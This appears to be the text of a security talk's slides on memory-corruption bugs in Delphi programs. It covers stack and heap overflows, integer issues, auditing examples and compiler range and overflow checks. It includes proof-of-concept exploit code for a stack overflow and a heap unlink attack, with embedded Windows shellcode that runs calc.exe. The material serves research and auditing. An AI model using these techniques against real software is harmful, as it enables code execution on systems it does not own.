Exploiting Delphi
Exploiting Delphi
Who am I
intro
Not rocket science
No one ever seemed to have looked into this
Assume you know some basic things (stack,
heap, int overflow, )
Was a fun little project to do
wanted to see if pascal is vuln to the same
issues that c programs are vuln to
All research was done with delphi 2009
Might differ for other object pascal compilers
Or older versions of delphi
Agenda
Exploitation
Stack overflows
Heap issues
Integer issues
Delphi string Implementation
What to look for (auditing)
Mitigations
conclusion
delphi
Yes, is vulnerable
Very c-like from auditing and exploitation point
of view
* By default, see later
Delphi: Stack
Arrays can overflow in delphi if you put too
much data in them
Its really just like c
There is no magic
There are no implicit boundchecks
Delphi: Stack
Consider the following example:
TYPE
IntArray = array[1..5] of integer;
procedure toeter;
var
i : integer;
numbers : IntArray;
begin
for i := 1 to 7 do
numbers[i] := $41414141;
end;
Delphi: Stack
Delphi: Stack
procedure toeter;
var
i : integer;
numbers : array[1..5] of integer;
begin
for i := 1 to 7 do
numbers[i] := $0040C9DC; // &shellcode
end;
const
shellcode:array[0..124] of BYTE = ( // exec of calc.exe
$fc,$e8,$44,$00,$00,$00,$8b,$45,$3c,$8b,$7c,$05,$78,$01,$ef,$8b,
$4f,$18,$8b,$5f,$20,$01,$eb,$49,$8b,$34,$8b,$01,$ee,$31,$c0,$99,
$ac,$84,$c0,$74,$07,$c1,$ca,$0d,$01,$c2,$eb,$f4,$3b,$54,$24,$04,
$75,$e5,$8b,$5f,$24,$01,$eb,$66,$8b,$0c,$4b,$8b,$5f,$1c,$01,$eb,
$8b,$1c,$8b,$01,$eb,$89,$5c,$24,$04,$c3,$5f,$31,$f6,$60,$56,$64,
$8b,$46,$30,$8b,$40,$0c,$8b,$70,$1c,$ad,$8b,$68,$08,$89,$f8,$83,
$c0,$6a,$50,$68,$7e,$d8,$e2,$73,$68,$98,$fe,$8a,0e,$57,$ff,$e7,
$63,$61,$6c,$63,$2e,$65,$78,$65,$00,$00,$00,$00,$00);
Delphi: heap
Delphi: heap
Delphi: heap
Will cover the following case:
procedure toeter;
var
p: PInteger;
pi: PInteger;
begin
GetMem(pi, 16);
GetMem(p, 16);
pi^ := $41414141; inc(pi);
pi^ := $41414141; inc(pi);
pi^ := $41414141; inc(pi);
pi^ := $41414141; inc(pi);
pi^ := $41414141; inc(pi); // slackspace
pi^ := $41414141;
// overflow
FreeMem(p); // get code exec once we return
end;
Delphi: heap
Allocated chunks seem to be at least 20 bytes
long
An allocated chunks meta data is just 4 bytes
Field can be an offset or a pointer
The 4 least significant bits indicate some kind of
state
Delphi heap
There are basically 4 states in FreeMem()
Indicated by those bits
Normal case (0, 0000)
Special case 1 (2, 0010)
Special case 2 (4, 0100)
Invalid chunk meta data (1,3,5,6,7)(throws exception)
Delphi heap
Only investigated the 1st special case
Because I saw a trivial unlink() case there
Delphi: heap
Unlink routine
Delphi: heap
Delphi: heap
Consider:
procedure toeter;
var
p: PInteger;
pi: PInteger;
begin
GetMem(pi, 16);
GetMem(p, 16);
pi^ := $41414141; inc(pi);
pi^ := $00000b41; inc(pi); // need to set lsb to 1, needs to be small and > b30
pi^ := $0040C9DC; inc(pi); // shellcode
pi^ := $0012FF8C; inc(pi); // saved eip
pi^ := $00000000; inc(pi); // slackspace
pi^ := $fffffffa;
// overflow
FreeMem(p);
end;
Delphi: heap
const
shellcode:array[0..132] of BYTE = ( // exec of calc.exe
$eb,$06,$aa,$aa,$aa,$aa,$aa,$aa, // jump over this, aaaaaa gets overwritten
$fc,$e8,$44,$00,$00,$00,$8b,$45,$3c,$8b,$7c,$05,
$78,$01,$ef,$8b,$4f,$18,$8b,$5f,$20,$01,$eb,$49,
$8b,$34,$8b,$01,$ee,$31,$c0,$99,$ac,$84,$c0,$74,
$07,$c1,$ca,$0d,$01,$c2,$eb,$f4,$3b,$54,$24,$04,
$75,$e5,$8b,$5f,$24,$01,$eb,$66,$8b,$0c,$4b,$8b,
$5f,$1c,$01,$eb,$8b,$1c,$8b,$01,$eb,$89,$5c,$24,
$04,$c3,$5f,$31,$f6,$60,$56,$64,$8b,$46,$30,$8b,
$40,$0c,$8b,$70,$1c,$ad,$8b,$68,$08,$89,$f8,$83,
$c0,$6a,$50,$68,$7e,$d8,$e2,$73,$68,$98,$fe,$8a,
$0e,$57,$ff,$e7,$63,$61,$6c,$63,$2e,$65,$78,$65,
$00,$00,$00,$00,$00);
* see later
Range
Char
1 (or 2)
Byte
0..255
Shortint
-128..127
Smallint
-32768..32767
Word
0..65535
Integer
-2147483648.. 2147483647
Longint
-2147483648.. 2147483647
Longword
0..4294967295
Cardinal
0..4294967295
Int64
-2^63..(2^63)-1
Image objects
Network:
Winsock
Winsock.RecvFrom
winsock.recv
type
TAudioRec=record
Flag:DWORD;
num:DWORD;
buflen:WORD;
buf:Array[1..1000] of byte;
end;
...
procedure TForm1.IdTCPServer1Execute(AThread: TIdPeerThread);
var
buf:TAudioRec; <-- stack
outbuf:Array[1..16000] of byte;
outbufsize:Integer;
begin
...
if ACMOut.Active then
begin
AThread.Connection.ReadBuffer(Buf,10);
if (buf.Flag=$beefface) and (buf.buflen>0) then
begin
AThread.Connection.ReadBuffer(buf.Buf[1],buf.buflen);
...
end;
function SearchPacketListing(
tc : TChara;
AThread : TIdPeerThread;
Ver :word;
packet : word
) :boolean;
var
j : integer;
size : word;
RecvBuffer : TBuffer;
begin
...
else begin
//Usually our string messages, where the 2nd location is the
//size holder of the string
AThread.Connection.ReadBuffer(RecvBuffer[2], 2);
size := RFIFOW(RecvBuffer, 2);
AThread.Connection.ReadBuffer(RecvBuffer[4], size - 4);
end;
...
end;
end;
Stream := TMemoryStream.Create;
try
Stream.Size := DataLength; does an alloc
...
end;
var
RecvBuf : array[1..$4000] of Char;
...
procedure TFinger.RecvData;
var
rc,i : Integer;
Finished : boolean;
begin
i:=1;
FillChar(RecvBuf,$4000,0);
repeat
TimerOn;
rc:=Winsock.recv(FingerSocket,@RecvBuf[i],$4000,0);
TimerOff;
Finished:=TimedOut or (rc=0) or (rc=SOCKET_ERROR)
or Canceled;
Inc(i,rc);
until Finished; busted loop
...
end;
const
MaxChars = 255;
...
type
THeader = record
Signature: Char;
NrChars: Integer;
...
end;
TOffsetTable = array[0..MaxChars] of Integer;
...
begin
...
with Fonts^[Font] do
begin
Move(Hp[i + 1], PHeader, SizeOf(TFHeader));
Read(f, Header, Sizeof(THeader), 0);
Read(f, Offsets[Header.FirstChar],
Header.NrChars * SizeOf(Integer), 0);
Read(f, Widths[Header.FirstChar],
Header.NrChars * SizeOf(Byte), 0);
end;
end;
Mitigations
Mitigations: Range-Checking
Type
Switch
Syntax
{$R+} or {$R-}
{$RANGECHECKS ON} or {$RANGECHECKS OFF}
Default
Scope
Local
Remarks
The $R directive enables or disables the generation of range-checking code.
In the {$R+} state, all array and string-indexing expressions are verified as
being within the defined bounds, and all assignments to scalar and subrange
variables are checked to be within range. If a range check fails, an
ERangeError exception is raised (or the program is terminated if exception
handling is not enabled).
Enabling range checking slows down your program and makes it somewhat
larger.
http://docs.embarcadero.com/products/rad_studio/delphiAndcpp2009/HelpUpdate2/EN/html/devcommon/compdirsrangechecking_xml.html
Mitigations: Range-Checking
Will only work when directly working with
array, string,
When you use a pointer no range checking is
done
Mitigations: Range-Checking
Consider the following:
{$R+}
...
procedure toeter;
var
p: ^Integer;
numbers : array[1..5] of Integer;
begin
p := @numbers;
Inc(p);Inc(p);Inc(p);
Inc(p);Inc(p);Inc(p);
p^ := $41414141;
end;
Mitigations: Range-Checking
Switch
Syntax
{$Q+} or {$Q-}
{$OVERFLOWCHECKS ON} or {$OVERFLOWCHECKS OFF}
Default
Scope
Local
Remarks
The $Q directive controls the generation of overflow checking code. In the {$Q+} state,
certain integer arithmetic operations (+, -, *, Abs, Sqr, Succ, Pred, Inc, and Dec)
are checked for overflow. The code for each of these integer arithmetic operations is
followed by additional code that verifies that the result is within the supported range. If
an overflow check fails, an EIntOverflow exception is raised (or the program is
terminated if exception handling is not enabled).
The $Q switch is usually used in conjunction with the $R switch, which enables and
disables the generation of range-checking code. Enabling overflow checking slows down
your program and makes it somewhat larger, so use {$Q+} only for debugging.
http://docs.embarcadero.com/products/rad_studio/delphiAndcpp2009/HelpUpdate2/EN/html/devcommon/compdirsoverflowchecking_xml.html
Conclusion
Delphi is not a safe language, very much like c
Most memory corruption bugs will occur when
doing own memory management, using win32
apis, reading and parsing data
has some mitigations, but very few hard
guarantees
No exploit mitigation anywhere
The 90s called, they want their bugs back
Lots of broken delphi code out there